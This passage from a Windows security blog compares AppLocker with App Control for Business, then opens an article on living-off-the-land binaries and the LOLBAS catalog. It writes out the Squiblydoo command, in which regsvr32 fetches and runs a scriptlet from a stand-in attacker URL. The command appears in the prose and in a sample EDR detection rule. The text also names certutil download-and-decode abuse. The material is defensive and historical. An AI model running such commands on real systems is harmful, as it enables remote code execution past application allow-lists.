flowchart TD Q1{"Need per-user rules and no PKI?"} Q2{"Need admin-resistant boundary?"} Q3{"Have managed software distribution?"} Q4{"Have long tail of unmanaged apps?"} Q5{"Consumer or unmanaged device?"} AL["AppLocker (with AaronLocker)"] ACSigned["App Control for Business
signed policy + HVCI"] ACMI["Add Managed Installer rule"] ACISG["Add ISG signal (additive)"] SAC["Smart App Control"] Nothing["No application control"] Q1 -- yes --> AL Q1 -- no --> Q2 Q2 -- yes --> ACSigned Q2 -- no --> Q5 ACSigned --> Q3 Q3 -- yes --> ACMI Q3 -- no --> Q4 ACMI --> Q4 Q4 -- yes --> ACISG Q4 -- no --> Done["Deployment complete"] ACISG --> Done Q5 -- consumer --> SAC Q5 -- enterprise unmanaged --> Nothing

The actual deployment knobs.

Scope	GPO node	PowerShell cmdlet inventory	CSP / MDM path
AppLocker	Computer Configuration -> Windows Settings -> Security Settings -> AppLocker	`Get-AppLockerPolicy`, `Set-AppLockerPolicy`, `Test-AppLockerPolicy`, `New-AppLockerPolicy`	AppLocker CSP (maintenance only) [@ms-applicationcontrol-csp]
App Control for Business	Computer Configuration -> Administrative Templates -> System -> Device Guard	`New-CIPolicy`, `Merge-CIPolicy`, `ConvertFrom-CIPolicy`, `Set-CIPolicySetting`, `Set-CIPolicyVersion`, `Add-SignerRule` (`ConfigCI` module)	ApplicationControl CSP [@ms-applicationcontrol-csp]; Intune endpoint security UX [@ms-intune-app-control]
App Control Wizard	n/a	Wraps `ConfigCI` cmdlets [@ms-appcontrol-wizard]	n/a (MSIX desktop app)
Server 2025 default policy	OSConfig PowerShell cmdlets [@techcommunity-osconfig-server-2025]	OSConfig	n/a

The Intune deployment surface is the ApplicationControl CSP [@ms-applicationcontrol-csp], not the older AppLocker CSP. Microsoft is explicit that new App Control feature work lands in ApplicationControl only. The Intune endpoint-security UX path [@ms-intune-app-control] sits on top of that CSP.

Note: The single most-skipped step in production App Control deployments is the merge of the Microsoft Recommended Block Rules [@ms-appcontrol-bypass] and the Vulnerable Driver Blocklist [@ms-driver-block-rules] into the active policy. Without them, "allow all Microsoft-signed code" admits cdb.exe, csi.exe, dnx.exe, msbuild.exe, mshta.exe, dotnet.exe, and the rest of the LOLBin catalogue. With them, you have the configuration the MSRC servicing criteria treat as a security boundary. The merge is two Merge-CIPolicy invocations and a redeploy.

Note: The App Control for Business GPO node is still labelled Device Guard in gpedit.msc, even on Windows 11 24H2. Microsoft Learn calls this out explicitly [@ms-appcontrol-applocker-overview]: "The terms 'Device Guard' and 'configurable code integrity' are no longer used with App Control except when deploying policies through Group Policy." The naming confusion is the GPO tree's, not yours.

{` // Pseudocode walk of the App Control authoring path. The real cmdlets // run in PowerShell on a Windows host with the ConfigCI module installed; // this is the logic so you can mentally simulate the flow.

const baseXml = NewCIPolicy({ scanPath: 'C:\\Windows', level: 'SignedVersion', fallback: ['Hash'], filePath: 'BasePolicy.xml', });

const blockRulesXml = downloadAndImport( 'recommended-block-rules-policy', );

const driverBlockXml = downloadAndImport( 'vulnerable-driver-blocklist', );

const merged = MergeCIPolicy({ inputs: [baseXml, blockRulesXml, driverBlockXml], output: 'Production.xml', });

SetCIPolicySetting({ provider: 'SiPolicy', key: 'PolicyInfo', valueName: 'Information', value: 'Contoso Production Policy v1', policyPath: merged, });

const binaryCip = ConvertFromCIPolicy({ inputXml: merged, binaryFilePath: 'Production.cip', });

// Sign Production.cip with the organisation's code-signing certificate // before dropping it into: // %SystemRoot%\\System32\\CodeIntegrity\\CiPolicies\\Active\\ // then reboot to seal the trusted signer set. console.log('Production policy authored and ready for signing'); `}

Regulatory anchors. NIST SP 800-167 [@nist-sp-800-167] on application allowlisting is the federal framing. The ACSC Essential Eight [@acsc-essential-eight-appcontrol] treats application control as one of eight baseline mitigations and is explicit that "the use of file names, package names or any other easily changed application attribute is not considered suitable as a method of application control" -- a structural exclusion that maps cleanly onto Authenticode-signer and hash rules but rules out an AppLocker policy built primarily on path. PCI DSS v4.0.1 [@pci-document-library] requires comparable controls for cardholder environments. The article does not work through any of them in depth; the citations are here so a practitioner can find their own compliance map.The Wayback-preserved 2017 Device Guard policy deployment guide [@ms-deploy-ci-wayback] is the canonical historical reference for the pre-1709 era, before the WDAC rename. Practitioners maintaining older infrastructure occasionally need it.

The AppLocker MMC wizard does not create default rules automatically. If you enable enforcement on a collection with zero rules, the collection's *default behaviour* is to **deny everything that matches the collection**. An enforcing Executable collection with no rules blocks every `.exe` on the device, including the ones Windows needs to boot useful applications. The wizard surface has an *Automatically generate rules* button precisely to avoid this footgun; the AaronLocker authoring path bakes the default rules in from the start. If you have ever seen a Windows session that suddenly cannot launch anything after a GPO refresh, this is the most common cause.

The decision tree is operational. The remaining job is to inoculate against the misconceptions the field has accumulated over twenty-five years. That is the FAQ.

15. FAQ -- Misconceptions and Corrections

The application-control literature has accumulated eight common misconceptions over twenty-five years. Each one is corrected below with the primary source that settles the question.

Not in the threat-modelling sense. Microsoft Learn states directly that AppLocker *"helps to prevent end-users from running unapproved software on their computers, but doesn't meet the servicing criteria for being a security feature"* [@ms-appcontrol-applocker-overview]. AppLocker is operational hygiene against non-admin users running unapproved binaries. An attacker who has reached administrator or `SYSTEM` can stop the `AppIDSvc` service and end enforcement [@ms-applocker-architecture]. If your threat model includes an admin-equivalent attacker, AppLocker is not the right control; App Control for Business with a signed policy and HVCI on is. No. App Control for Business is the current name for what was called Windows Defender Application Control from 2017 to 2024, which was called Configurable Code Integrity under the Device Guard umbrella from 2015 to 2017. Same kernel CI code path, three brand eras [@ms-appcontrol-applocker-overview] [@ms-blog-introducing-wdac-2017] [@github-wdac-toolkit-issue-411]. The rename in 2024 with Windows 11 24H2 and Server 2025 is brand management; the cmdlets and the policy XML schema are unchanged. No. You sign the policy with the **deploying organisation's** code-signing certificate -- typically an internal PKI leaf, with the private key on a hardware token or in a sealed vault [@ms-appcontrol-applocker-overview]. The application publisher's certificate is what the policy *evaluates against* at image-load time (signer rules in the policy reference publisher subjects). The two are entirely different roles. A common misreading is to assume that *"signed policy"* means *"policy that allows signed apps"* -- it does not. *Signed policy* means the `.cip` file itself carries a signature that prevents a `SYSTEM` attacker from removing or replacing it. No. ISG is a reputation classifier, not a list. Microsoft Learn states verbatim [@ms-appcontrol-isg]: *"The ISG isn't a 'list' of apps. Rather, it uses the same vast security intelligence and machine learning analytics that power Microsoft Defender SmartScreen and Microsoft Defender Antivirus to help classify applications as having 'known good,' 'known bad,' or 'unknown' reputation."* When an App Control policy is configured with ISG enabled, ISG's *known good* verdict acts as an additive allow signal alongside the policy's explicit signer / hash / path / Managed Installer rules. **No such feature exists.** A search of Microsoft Learn produces zero results for *ITL* or *Intelligent Trusted List*; URLs cited by AI summaries return 404; and the definitions offered by AI summaries contradict each other. The closest real Microsoft features are the Intelligent Security Graph [@ms-appcontrol-isg], the Microsoft Recommended Block Rules [@ms-appcontrol-bypass], and Smart App Control [@ms-smart-app-control]. If you see *ITL* in a security blog or AI-generated summary, treat it as a fabrication and ignore it. No. **AaronLocker** is Aaron Margosis's *deployment tool* [@github-aaronlocker]. It is a PowerShell-based generator that authors thorough audit and enforce policies for AppLocker and App Control. The canonical AppLocker *bypass* catalogue is Oddvar Moe's `UltimateAppLockerByPassList` [@github-ultimateapplockerbypass]. The canonical App Control bypass catalogue is Jimmy Bayne's `bohops/UltimateWDACBypassList` [@github-ultimatewdacbypass]. Microsoft's own bypass list is the *Applications that can bypass App Control* page [@ms-appcontrol-bypass]. Four different artefacts, four different roles. The enforcement engine is approximately the same (both run inside `ci.dll`), but SAC is a categorically different product: unmanaged, all-or-nothing, ISG-gated, and capable of silently auto-disabling [@ms-smart-app-control]. SAC has no per-app policy authoring surface, no GPO, no Intune integration. Enterprise-managed devices keep SAC off [@ms-support-sac-faq]. And contrary to older blog posts, SAC can be re-enabled without a clean Windows install on current Windows versions: *"Recent Windows updates allow Smart App Control to be re-enabled without requiring a clean installation"* [@ms-support-sac-faq]. The vocabulary is *evaluation mode*, not *audit mode*. No -- not in any sense Microsoft would recognise. As of February 2, 2026, AppLocker is not on the *Deprecated features in the Windows client* page [@ms-deprecated-features]. Microsoft Learn does say AppLocker *"isn't getting new feature improvements"* and that it *"doesn't meet the servicing criteria for being a security feature"* [@ms-appcontrol-applocker-overview], but it also says AppLocker *"continues to receive security fixes"* -- and the October 2024 KB5044288 cumulative update confirms that claim with a concrete AppLocker servicing fix [@ms-kb-5044288]. The defensible characterisation is *feature complete, not actively developed, continues to receive security fixes* -- not *deprecated*.

The thesis was the article's first sentence: two locks on the same door, two threat models, not redundancy. AppLocker is operational hygiene, the user-mode evaluator Microsoft itself declines to call a security feature. App Control for Business -- with a signed policy, HVCI on, and the Recommended Block Rules merged in -- is the MSRC security boundary. Both ship in Windows 11 24H2 and Server 2025 because neither is a strict superset of the other, and the practitioner gets to choose, per deployment, which lock the door needs. For deeper treatment of the cryptographic plumbing, see the companion Authenticode article; for the HVCI / VTL story, see the companion WDAC + HVCI article; for the BYOVD residual in section 13, see the companion Driver Signing article. The line between security feature and operational hygiene control is sharp in Microsoft's own words -- and the two products defending that line will both keep shipping until the line itself moves.

Living Off the Land on Windows: The LOLBin Catalog and the Structural Ceiling Microsoft Cannot Break

noreply@paragmali.com (Parag Mali) — Tue, 26 May 2026 00:00:00 GMT

**Living-off-the-land binaries (LOLBins) are Microsoft-signed Windows executables that attackers coerce into doing useful work** -- run scripts, fetch payloads, sidestep allow-lists. The community LOLBAS catalog lists 207 of them as of May 2026. Microsoft's App Control Recommended Block Rules deny about 40. The 167-binary gap is not a backlog. It is the structural ceiling: Windows administration *requires* powerful, signed, trusted utilities. This article traces the class from a 1996 Authenticode trade-off through Casey Smith's 2016 Squiblydoo, the 2018 founding of LOLBAS, and Microsoft's four-generation response, and argues the class is permanent.

1. The Four-Line Bypass That Cannot Be Patched

On April 19, 2016 [@attack-t1218-010], a researcher named Casey Smith published a four-line command on a personal Blogspot site. The command coerced a Microsoft-signed system binary into fetching and executing arbitrary JScript from an attacker-controlled URL, in memory, with nothing written to disk, on a Windows endpoint with AppLocker in enforce mode [@lolbas-regsvr32]. Ten years and three Microsoft defensive generations later, you can paste the same four lines into a default-configured Windows 11 box and watch it succeed. This article explains why.

The command is short enough to memorize:

regsvr32 /s /n /u /i:http\u003a//attacker/x.sct scrobj.dll

Every part of it is normal. regsvr32.exe is the operating system's COM registration utility, shipped in every Windows release since NT 4. The /i:URL switch is documented [@lolbas-regsvr32]: it passes an installation parameter to a COM scriptlet. scrobj.dll is the Microsoft Script Component runtime. The .sct extension is the documented Microsoft Script Component file format. Smith was not exploiting a buffer overflow or a logic flaw. He was using the binary the way Microsoft designed it.

What is not normal is who controls the URL. When regsvr32.exe fetches that .sct over HTTP and hands it to scrobj.dll, the scriptlet's body runs inside a Microsoft-signed parent process. The /s flag suppresses dialog boxes, /n tells regsvr32 not to call DllRegisterServer, and /u reverses the operation -- so no registry change persists. The result: arbitrary JScript or VBScript running as the logged-on user, parented to a binary the default AppLocker policy admits by publisher, with no file on disk and no registry breadcrumb. Smith published the technique on April 19, 2016; Carbon Black named it Squiblydoo in its April 28, 2016 threat advisory, and the MITRE ATT&CK page for the technique attributes the name to that advisory [@attack-t1218-010]. The trade press picked the name up within days: by April 29 The Register was running a headline about "hipster hackers" and routing readers to the Carbon Black writeup for the naming origin [@reg-squiblydoo].

The specific technique of abusing `regsvr32.exe` with the `/i:URL` switch to fetch and execute a remote COM scriptlet (`.sct` file) containing attacker-controlled JScript or VBScript. Disclosed by Casey Smith on April 19, 2016; named *Squiblydoo* by Carbon Black's April 28, 2016 threat advisory; tracked by MITRE ATT&CK as sub-technique T1218.010 [@attack-t1218-010]. sequenceDiagram participant User as User shell participant Regsvr32 as regsvr32.exe (signed) participant Scrobj as scrobj.dll (signed) participant Remote as Attacker HTTP server participant JScript as JScript engine User->>Regsvr32: regsvr32 /s /n /u /i:URL scrobj.dll Regsvr32->>Scrobj: Load COM scriptlet runtime Scrobj->>Remote: GET /x.sct Remote-->>Scrobj: scriptlet XML with embedded JScript body Scrobj->>JScript: Evaluate script body in-process JScript-->>User: Arbitrary code runs as the user

The reason this bypass is famous is not the technique. It is the invariance. Microsoft has shipped App Control for Business, the Recommended Block Rules deny list, Smart App Control, AMSI, the Windows Resiliency Initiative, and the Microsoft Vulnerable Driver Blocklist in the intervening decade [@ms-bypass-rules] [@ms-sac-overview] [@ms-driver-blocklist] [@ms-wri-nov2024]. None of those controls is enabled by default on a freshly installed Windows 11 Home or Pro endpoint, and none of them blocks Squiblydoo without administrator action. Casey Smith's command is the security industry's longest-lived working proof-of-concept against the defaults of a flagship operating system.

A defender watching this from an EDR console sees a specific shape: a parent process (often cmd.exe, explorer.exe, an Office app, or a script host) spawns regsvr32.exe, and the command line contains /i:http. That parent-child pattern plus a URL in the argument list is the entire detection surface. Most defenders write it as a Sysmon Event ID 1 (process create) rule.

{` // Simulated EDR rule: flag any child regsvr32.exe whose command line // references a remote URL. This is the canonical detection shape that // SOC analysts have been writing for ten years. function isSquiblydoo(event) { const child = (event.image || '').toLowerCase(); const cmd = (event.commandLine || '').toLowerCase(); if (!child.endsWith('\\regsvr32.exe')) return false; // /i:http or /i:https with a URL argument is the load-bearing signal. return /\/i:https?:\/\//.test(cmd); }

const sample = { image: 'C:\\Windows\\System32\\regsvr32.exe', parentImage: 'C:\\Windows\\System32\\cmd.exe', commandLine: 'regsvr32 /s /n /u /i:http\u003a//attacker.example/x.sct scrobj.dll' }; console.log('Squiblydoo match:', isSquiblydoo(sample)); `}

The detection works. It is also, by 2026, a checked box in every commercial EDR. The persistence of the bypass therefore raises two questions the rest of this article must answer. First: how can a ten-year-old, publicly-named, vendor-acknowledged technique still work on the default configuration of the world's most-deployed desktop operating system? Second: is regsvr32 an exotic one-off, or is Squiblydoo the visible tip of a structural class that runs the length of the Windows binary catalog? The honest answers sit at opposite ends of an architectural argument, and the road between them runs through a community catalog with 207 entries.

2. Five Years From Coined Phrase to Catalog

When did living off the land become a phrase defenders said out loud? The answer is a specific evening in Louisville, Kentucky. On September 27, 2013, at DerbyCon 3 ("All in the Family"), Christopher Campbell and Matt Graeber gave a talk titled Living off the Land: A Minimalist's Guide to Windows Post-Exploitation [@derbycon3-lol]. Their argument: an attacker on a Windows host could persist, escalate, pivot, and exfiltrate without dropping a single binary -- using only pre-installed signed Microsoft tools (wmic, netsh, powershell, scheduled tasks). Antivirus and host-intrusion-prevention products in 2013 were optimized to catch unsigned, third-party code. Campbell and Graeber pointed out that the entire offensive toolkit could be assembled out of vendor-supplied parts.

The phrase entered defender vocabulary, but the catalog did not exist yet. What happened between 2013 and 2018 was a slow accumulation of disclosures -- each one a Microsoft-signed binary, each one with a documented feature an attacker could repurpose [@enigma0x3-dnx] [@enigma0x3-rcsi] [@lolbas-msbuild] [@lolbas-installutil]. Casey Smith's April 2016 Squiblydoo [@attack-t1218-010] was followed by his MSBuild inline-task bypass [@lolbas-msbuild], his InstallUtil /U bypass [@lolbas-installutil], and a series of related developer-utility disclosures. Matt Nelson added dnx.exe on November 17, 2016 [@enigma0x3-dnx] and rcsi.exe four days later [@enigma0x3-rcsi]. By the end of 2016 a generic pattern was visible: any Microsoft-signed binary that could compile, interpret, deserialize, or fetch arbitrary content was a candidate.

In 2017-2018 the framing crystallized. Matt Graeber and Casey Smith spoke at BlueHat IL 2017; the conference materials sit in a community mirror that catalogs the session as a Graeber + Smith Windows trust talk [@bluehat-il-mirror]. The canonical Subverting Trust in Windows writeup came a year later, from Matt Graeber and Lee Christensen (SpecterOps), at TROOPERS 2018 -- it named misplaced trust as the mismatch between the binary is signed by Microsoft and the binary's behavior is trustworthy when handed attacker-controlled arguments [@specterops-subverting-trust]. The same year, Symantec's ISTR special report brought "living off the land" into the CISO vocabulary at scale [@symantec-istr-lotl]. The technique class was understood; what was missing was a name and a list.

The naming happened in 2018, on Twitter, in a six-week burst that the LOLBAS README still preserves as the project's origin story [@lolbas-github]. On March 1, 2018 (UTC; the LOLBAS README dates this to February 28 in the poster's local timezone), Philip Goh proposed the acronym LOLBins -- Living-Off-the-Land Binaries. On April 13, 2018 (UTC; the LOLBAS README dates this to April 14 in the poster's local timezone), Jimmy Bayne proposed LOLScripts for the script-host equivalent (no poll was taken). On April 15, Oddvar Moe ran a ratification poll asking the community to choose between LOLBin and LOLBas; LOLBin won with 69 percent of the vote. Three days later, on April 18, 2018 at 10:04:50 UTC, Moe created the GitHub repository api0cradle/LOLBAS [@lolbas-api0cradle]. On June 8 the project moved to its organization-owned successor LOLBAS-Project/LOLBAS [@lolbas-org-api]. The catalog was live, versioned, and pull-request-driven.

The Goh proposal, the Bayne proposal, and the Moe poll were all on what is now X. The original tweets sit behind a login wall today, but the LOLBAS README preserves the full chain of attribution and links the exact tweet IDs. Decoding the linked Twitter snowflakes yields UTC timestamps for the Goh and Bayne tweets that land one day after the LOLBAS-attributed local-time dates (March 1 and April 13 UTC, respectively); the article's prose uses the UTC dates because they are the only timestamps that are independently verifiable from the snowflake.

Two more 2018 events matter. On August 17, 2018, Matt Graeber posted Arbitrary Unsigned Code Execution Vector in Microsoft.Workflow.Compiler.exe; the article appeared first on Medium and was republished on SpecterOps, and the LOLBAS Microsoft.Workflow.Compiler entry preserves the disclosure chain via the linked tweet and the SpecterOps URL in its Resources field [@lolbas-mwc]. The technique showed that a binary nobody had heard of -- the .NET Workflow Foundation rules compiler -- could compile and execute arbitrary unsigned C# given a crafted XOML file. The disclosure was important not for its novelty but for its obscurity: if Microsoft.Workflow.Compiler.exe was a LOLBin and nobody knew, how many other unscanned-for binaries shipped with the same primitive? The question would drive the catalog's growth over the next eight years.

The other event was the foundational talk. At DerbyCon 8 in Louisville, Kentucky, in October 2018, Oddvar Moe gave a presentation titled #LOLBins -- Nothing to LOL about! [@derbycon8-moe]. The LOLBAS README itself names this as the project's foundational talk [@youtube-moe-lolbins] [@lolbas-github], not the BlueHat IL 2019 session that some later secondary sources cite. By the project's own retrospective, the talk introduced the catalog to a wider audience and aligned the community around the inclusion criteria and YAML schema that govern the project today.

timeline title LOLBin coinage and catalog, 2013 to 2018 2013-09-27 : DerbyCon 3 Campbell and Graeber coin "living off the land" 2016-04-19 : Casey Smith publishes Squiblydoo (regsvr32 + COM scriptlet) 2016-11 : Matt Nelson publishes dnx and rcsi bypasses 2017 : Graeber and Smith speak at BlueHat IL 2017 2018-03-01 : Philip Goh proposes "LOLBins" on Twitter (UTC) 2018-03 : Graeber and Christensen present Subverting Trust in Windows at TROOPERS 2018-04-13 : Jimmy Bayne proposes "LOLScripts" (UTC) 2018-04-15 : Oddvar Moe poll ratifies "LOLBin" with 69 percent 2018-04-18 : api0cradle/LOLBAS GitHub repo created 2018-06-08 : LOLBAS-Project organization repo created 2018-08-17 : Matt Graeber discloses Microsoft.Workflow.Compiler.exe 2018-10 : Oddvar Moe DerbyCon 8 "#LOLBins -- Nothing to LOL about!" A Living-Off-the-Land Binary: a Microsoft-signed Windows executable, either native to the operating system or downloaded from Microsoft, that has "extra unexpected functionality" useful to an attacker or red team -- typically the ability to execute, download, encode, decode, compile, or otherwise weaponize attacker-controlled content. The term was ratified by community poll in April 2018; the canonical catalog is the LOLBAS project [@lolbas-github].

Five years from coined phrase to versioned, community-edited catalog. What took five years was not the technique -- the technique was already there in 2013, and Casey Smith had publicly demonstrated three flavors of it by the end of 2016. What took five years was naming the class. The naming mattered because it turned a stream of one-off disclosures into a defensible artifact: a list a SOC could subscribe to, a schema a detection engineer could parse, and -- as the next section argues -- a body of evidence for an architectural claim about Windows that nobody had yet been willing to articulate out loud. Why does the technique class exist? The answer is a 1996 design decision.

3. The Two Trust Axes Microsoft Decoupled in 1996

Why does the default AppLocker policy admit every Microsoft-signed binary on the disk? Because Microsoft made a deliberate trade-off in 2009, and that trade-off inherits an even deeper trade-off from 1996.

Start with the 1996 trade-off. Authenticode shipped with Internet Explorer 3.0 to answer one question: was this code signed by a party I trust? [@ms-crypto-tools] [@ms-authenticode-1996]. The mechanism is short to describe. A publisher (Microsoft, Adobe, the local IT shop) signs an executable's hash with a private key whose certificate chains to a root the operating system trusts. The signature travels with the file. At load time, Windows recomputes the hash, validates the signature, walks the certificate chain, and reports the verified publisher to whichever caller asked. That is the whole protocol.

Microsoft's code-signing scheme, shipped with Internet Explorer 3.0 in 1996 [@ms-authenticode-1996]. Authenticode binds a publisher identity to a binary's hash via an X.509 certificate chain. Validation answers *who signed this file and was it modified after signing?* It does not -- and cannot -- describe what the file does when executed [@ms-crypto-tools].

Notice what Authenticode does not answer. It says nothing about what the binary does at runtime. It does not describe which APIs the binary calls, what arguments those calls accept, whether the binary loads external content, or whether the binary's documented behavior includes "execute attacker-controlled JScript fetched over HTTP." Authenticode signs; it does not characterize. That distinction is not a defect in the design -- it is the design. A signature scheme that tried to formally describe runtime behavior would need a semantic model of every signed program, which is the kind of problem theoretical computer science has spent fifty years calling undecidable.

Thirteen years later, in October 2009, AppLocker shipped with Windows 7 [@ms-applocker-overview]. AppLocker introduces publisher rules, path rules, and hash rules as the first-class Windows application-allow-list primitive. The interesting one is the publisher rule. AppLocker's default rule template admits every executable under %windir% or %programfiles% via three path-based rules (one each for executables, scripts, and Windows Installer files) [@ms-applocker-default-rules] -- which is where Microsoft's tens of thousands of signed binaries live -- and the canonical managed deployment adds a publisher rule that explicitly trusts the Microsoft signer chain [@ms-applocker-overview]. Either way, the practical effect is the same: every Microsoft-signed binary on a default Windows install inherits broad trust.

The Windows 7 application-allow-list feature (shipped October 22, 2009) that admits or denies binary execution based on publisher signature, file path, or file hash rules. The default rules are path-based and admit every executable under `%windir%` or `%programfiles%` [@ms-applocker-default-rules]; canonical managed deployments add a publisher rule that trusts the Microsoft signer chain. Microsoft's own documentation now describes AppLocker as "a defense-in-depth security feature and not considered a defensible Windows security feature" [@ms-applocker-overview]; App Control for Business is the modern successor.

Why the default rule? Because the alternative -- a hash-by-hash allow list of every Microsoft-signed file -- breaks the day Patch Tuesday ships a new build of mshtml.dll or cmd.exe. A hash allow list at the scale of Windows is not maintainable. A path allow list is bypassed by file copy. The publisher rule is the only choice that makes the system deployable in a large enterprise without an army of administrators rebuilding policy XML every month. AppLocker's default rule was, by any pragmatic measure, the right call.

But that call inherits Authenticode's blindness. AppLocker decides whether a signed binary may run; Authenticode decides whether the signature is valid. Neither layer knows what the binary does. The two systems live on orthogonal trust axes:

flowchart LR A["Authenticode signing
Who signed this binary?"] --> B["AppLocker policy
Is this publisher allowed?"] B --> C["Binary loads and runs"] C --> D["Runtime behavior
What does this binary do with arguments?"] D -. unmeasured .-> E["Attacker-controlled script,
DLL, XOML, or URL is executed"] style D stroke:#888,stroke-dasharray: 5 5 style E stroke:#c33,stroke-width:2px

The point of the diagram is the dotted edge. There is no measurement of D before C. The control plane stops at the signature check, and the runtime behavior is the attacker's playground. That gap is exactly where Squiblydoo lives. regsvr32.exe is Microsoft-signed (Authenticode says yes). It is on the default AppLocker publisher rule (AppLocker says yes). It has a documented /i:URL switch that loads remote scriptlets (no layer measures this). The attacker supplies the URL.

Key idea: Signature trust answers who signed this?. It cannot answer what does this binary do at runtime?. The LOLBin class is the runtime consequence of treating those as the same question.

This is the structural error -- and "error" is the wrong word, because it was a deliberate, documented trade-off both times. Authenticode in 1996 chose publisher identity over behavioral semantics because behavioral semantics is undecidable. AppLocker in 2009 chose publisher rules over hash rules because hash rules do not survive Patch Tuesday. Both choices were correct on their own terms. The LOLBin class is what happens when you compose two locally-correct choices and discover that the composition has a property neither original choice predicted.

Microsoft itself acknowledges the limit in writing. The current Microsoft Learn AppLocker overview contains the verbatim admission: AppLocker is a defense-in-depth security feature and not considered a defensible Windows security feature [@ms-applocker-overview]. The same documentation names App Control for Business as the modern successor and routes new deployments there.

AppLocker is a defense-in-depth security feature and not considered a defensible Windows security feature. -- Microsoft Learn, AppLocker overview [@ms-applocker-overview]

The structural argument from this section is the rest of the article's load-bearing premise. If signature trust is decoupled from behavior trust by construction, then for every Microsoft-signed binary that exposes a "load and execute arbitrary script, DLL, or payload" surface there exists a LOLBin disclosure waiting to be discovered. The question becomes empirical: how many such binaries are there? In 2018 nobody knew. By May 2026 the LOLBAS catalog has counted 207, and the count is still growing.

4. The LOLBAS Catalog as a Data Structure

Most security catalogs are PDFs. LOLBAS is something different. It is a YAML file directory, a function taxonomy, an ATT&CK mapping, a pull-request contract, and a rendered frontend -- all on GitHub. To understand the LOLBin problem in 2026 you have to understand the catalog as an artifact the defender community built, not just a list of binaries.

The repository at LOLBAS-Project/LOLBAS [@lolbas-github] organizes its entries into four directories on disk, each with a per-entry YAML file. The May 2026 breakdown:

Directory	Count	What it holds
`yml/OSBinaries/`	130	Native Windows-shipped executables (`regsvr32`, `rundll32`, `mshta`, `certutil`, ...)
`yml/OtherMSBinaries/`	77	Microsoft-signed executables downloadable from Microsoft (Visual Studio, SDK, optional features)
`yml/OSLibraries/`	17	DLLs that can be loaded as LOLBin payloads (the LOLLib subclass)
`yml/OSScripts/`	10	Microsoft-shipped scripts (the LOLScript subclass)
Total	234	207 binaries plus 27 libraries and scripts

A Living-Off-the-Land Script: a Microsoft-signed script file (typically `.vbs`, `.js`, `.ps1`, or `.bat`) shipped with Windows that an attacker can invoke for proxy execution, file download, or privilege manipulation. LOLScripts are tracked in the `yml/OSScripts/` directory of the LOLBAS repository [@lolbas-github]. The companion category for DLLs is *LOLLib*.

The 207-binary figure is the one that matters for the architectural argument later, and it is not folklore. It is a primary-source count derived by enumerating the four directory listings against the live repository on May 26, 2026 [@lolbas-org-api]. The repository as of that date has 8,567 stars and 1,135 forks.

Each entry follows a strict YAML schema [@lolbas-yml-template]. The mandatory fields are Name, Description, Author, Created, one or more Commands blocks, Full_Path, Code_Sample, Detection, Resources, and Acknowledgements. Inside each Commands block sits the function taxonomy that defenders read first.

flowchart TD Entry["YAML entry: Name
Description, Author, Created"] Entry --> Commands["Commands[]"] Commands --> C1["Command 1: command-line invocation"] Commands --> C2["Command 2: command-line invocation"] C1 --> Use["Use: plain-English description"] C1 --> Category["Category: Execute, Download, Compile, AWL Bypass, ..."] C1 --> Priv["Privileges: User or Admin"] C1 --> Mitre["MitreID: T1218.010, T1127.001, ..."] Entry --> Paths["Full_Path[]: where the binary lives on disk"] Entry --> Detect["Detection[]: vendor-curated detection links"] Entry --> Refs["Resources[]: primary disclosures and writeups"] Entry --> Ack["Acknowledgements[]: credited researchers"]

The function taxonomy is a closed set of eleven categories: Execute, Download, Copy, Encode, Decode, Compile, Credentials, AWL Bypass, AWL Bypass + UAC Bypass, Reconnaissance, and Dump. Every command in the catalog carries exactly one of those tags. The vocabulary is small because the surface is small. A Microsoft-signed binary, by definition, was not designed to do these things, so the abuse primitives concentrate at a small number of recognizable shapes.

The gate that decides whether a binary is admitted to the catalog is published verbatim in the repository README [@lolbas-github]:

Must be a Microsoft-signed file, either native to the OS or downloaded from Microsoft. Have extra 'unexpected' functionality. ... Have functionality that would be useful to an APT or red team. -- LOLBAS criteria [@lolbas-github]

The two clauses do most of the project's editorial work. The first clause -- Microsoft-signed, native or downloaded from Microsoft -- is what aligns the catalog with the AppLocker default publisher rule from Section 3. A binary that does not pass that gate is somebody else's problem (probably an EV-certificate review). The second clause -- extra unexpected functionality, useful to an APT or red team -- is what excludes binaries whose abuse pattern is documented behavior nobody disputes (cmd.exe running a script is not a LOLBin; regsvr32.exe fetching a script from http:// is).

Governance is pull-request-driven and run by a named maintainer group: Oddvar Moe (the original creator), Jimmy Bayne, Conor Richard, Chris "Lopi" Spehn, Liam Somerville, Wietze Beukema, and Jose Hernandez [@lolbas-github]. The model is the one Linux distributions use for package metadata: a small editorial board, public submission, public review, semver-style additions. The repository receives regular pull requests; the May 2026 commit log shows entries dated 2026 alongside the 2018 founders [@lolbas-org-api]. The rendered frontend at lolbas-project.github.io exposes the same data as a browsable per-binary site [@lolbas-frontend].

The LOLBAS frontend at lolbas-project.github.io is visually modelled on GTFOBins, the Unix analogue maintained by Andrea Cardaci and Emilio Pinna [@gtfobins]. The LOLBAS README explicitly thanks GTFOBins for the rendering pattern. The two projects share the same conceptual move -- a community catalog of vendor-shipped utilities with attacker-useful side effects -- applied to different platforms.

The catalog's status as a data structure is what distinguishes it from a textbook chapter. Splunk's Threat Research team publishes detection content keyed directly to LOLBAS entries [@splunk-detection]; the MITRE ATT&CK pages for T1218, T1216, T1127, T1197, T1140, and T1105 cite individual LOLBAS pages as primary references [@attack-t1218]; CISA's joint LOTL guidance with the NSA, FBI, ASD/ACSC, NCSC-UK, and others mirrors the LOLBAS structure in its detection annexes [@cisa-lotl]. The catalog is the canonical input to every downstream defense product that takes LOLBins seriously.

Two hundred and seven binaries. The next question is the question every defender asks the first time they look at the list: of those 207, which ones actually show up in real incidents, and what makes the recurring offenders special? That is the field guide.

5. The Canonical Eight: A Field Guide

Of the 207 binaries in the LOLBAS catalog, eight anchor most real-world incidents. Each one tells the same story: a Microsoft-signed utility doing what it was designed to do, with attacker-controlled arguments. These eight are the canonical introduction to the class, the binaries every SOC writes detections for first, and the binaries Microsoft's Recommended Block Rules either deny by default or pointedly do not.

Binary	First disclosed	Abuse primitive	MITRE ATT&CK	On App Control deny list?
`regsvr32.exe`	Casey Smith, 2016-04-19	Squiblydoo: remote `.sct` via `/i:URL`	T1218.010 [@attack-t1218-010]	No
`rundll32.exe`	Multiple disclosures	Load and invoke any exported DLL function	T1218.011 [@attack-t1218-011]	No
`mshta.exe`	Pre-LOLBAS, IE5 era	Run JScript or VBScript from `.hta` file or URL	T1218.005 [@attack-t1218-005]	Yes
`certutil.exe`	Pre-LOLBAS folklore	`-urlcache` download, `-decode` payload decoder	T1140, T1105	No
